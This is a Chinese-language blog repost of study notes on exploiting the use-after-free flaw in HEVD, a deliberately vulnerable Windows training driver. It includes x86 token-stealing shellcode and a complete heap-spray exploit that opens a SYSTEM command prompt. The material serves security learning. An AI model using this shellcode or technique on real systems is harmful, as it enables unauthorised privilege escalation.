记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

HEVD系列Windows内核漏洞学习笔记0

2020-07-14 11:24

友好简单的Windows内核漏洞分析 之 UAF利用

0x1 前置知识

UAF:即Use After Free,CTF pwn手对这一概念再熟悉不过了。作为科普,内存块被释放之后使用会发生以下几种情况:

BackgroundCondition1Condition2Result
free对应指针置0使用崩溃
free对应指针没有被置0使用前无代码对该片内存进行修改很有可能正常运行
free对应指针没有被置0使用前有代码对该片内存进行修改神秘现象

了解Windows内存管理机制的朋友会知道ExAllocatePoolWithTag函数并不是乱申请内存的,操作系统会选择大小最合适的堆来存放它,而被free的指针被称为悬挂指针,仍是一个有效的指针。而通过逆向分析我们可以发现在驱动中有一个函数调用了全局指针(以下用漏洞指针代替)的回调函数:

而且,通过调试,我们可以知道该结构体指针的定义如下:

typedef struct _VulnerablePointer {

FunctionPointer Callback;

CHAR Buffer[0x54];

} VulnerablePointer, *VulnerablePointer;

那么,综上条件,一个漏洞利用链就浮现出来了:

  1. 漏洞指针被分配内存且被释放之后没有进行其他操作

  2. 准备提权shellcode

  3. 模仿漏洞指针的结构定义构造fake chunk payload大量申请空间,目的是覆盖到漏洞指针的Callback函数(专业术语:堆喷射

  4. 当Callback函数被调用的时候,我们在R3提权成功

*如果读者对此篇文章感兴趣但没有内核调试相关经验,请移步0x5

0x2 一点点API

  1. 申请内存

    DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
  2. 释放内存

DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
  1. 申请假chunk
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
  1. 调用Callback函数
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

以上函数都是通过逆向分析驱动文件得出,姑且先将底层实现当作黑盒看待,这样效率最高。

  1. 最后调用一个CMD窗口,验证提权结果
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
  1. 提权shellcode
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构,R0中fs寄存器指向的是KCPR结构,紧接 着就是KPCRB结构,所以偏移124h的位置为KPCRB的第四个字节
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // 在win7 x86 sp1 下 system进程的PID为4

// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid

// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}

0x3 调试验证过程

在Windbg中,你需要在如下三个函数下断点(因为驱动是自己编译的,所以有符号表)

HEVD!AllocateUaFObjectNonPagedPool
HEVD!FreeUaFObjectNonPagedPool
HEVD!UseUaFObjectNonPagedPool

运行exp前,我们先验证当前的权限:

运行后,命中的第一个断点:HEVD!AllocateUaFObjectNonPagedPool

运行到漏洞指针被赋值的位置,查看一下该指针的内容,以及指向的pool chunk:

可以看到状态为Allocated,大小为60h = sizeof(_VulnerablePointer) + 8 (pool chunk header)

接着来看free之后的pool chunk状态:

且此时漏洞指针的Callback函数随意指向了一个位置:

执行到下一个断点,此时exp程序完成了堆喷,正准备执行漏洞指针的回调函数,再次观察漏洞指针的pool chunk以及Callback函数:

至此,通过UAF成功在R3提权,获取system权限

0x4 留图纪念

0x5 快速食用指南

0x6 Exp

#include<stdio.h>
#include<Windows.h>
/************************************************************************/
/* Write by Thunder_J 2019.6 */
/************************************************************************/

typedef void(*FunctionPointer) ();

typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;

void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid

// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}

static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD recvBuf;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("获取句柄失败\n");
return 0;
}
printf("Start to call AllocateUaFObject()...\n");
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to call FreeUaFObject()...\n");
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to write shellcode()...\n");//

PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));

fakeG_UseAfterFree->countinter = ShellCode;

RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

printf("***********************************\n");
printf("Start to heap spray...\n");
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); //Allocate FakeObject NonPagedPool IoctlHandler allocate新的object,堆喷
}
printf("Start to call UseUaFObject()...\n");
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

printf("Start to create cmd...\n");
CreateCmd();
//system("whoami");
return 0;
}

感谢 Thunder_J提供的exp


知识来源: xz.aliyun.com/t/7922

阅读:34873 | 评论:0 | 标签:漏洞 学习

想收藏或者和大家分享这篇好文章→复制链接地址

“HEVD系列Windows内核漏洞学习笔记0”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄⛄️

ADS

标签云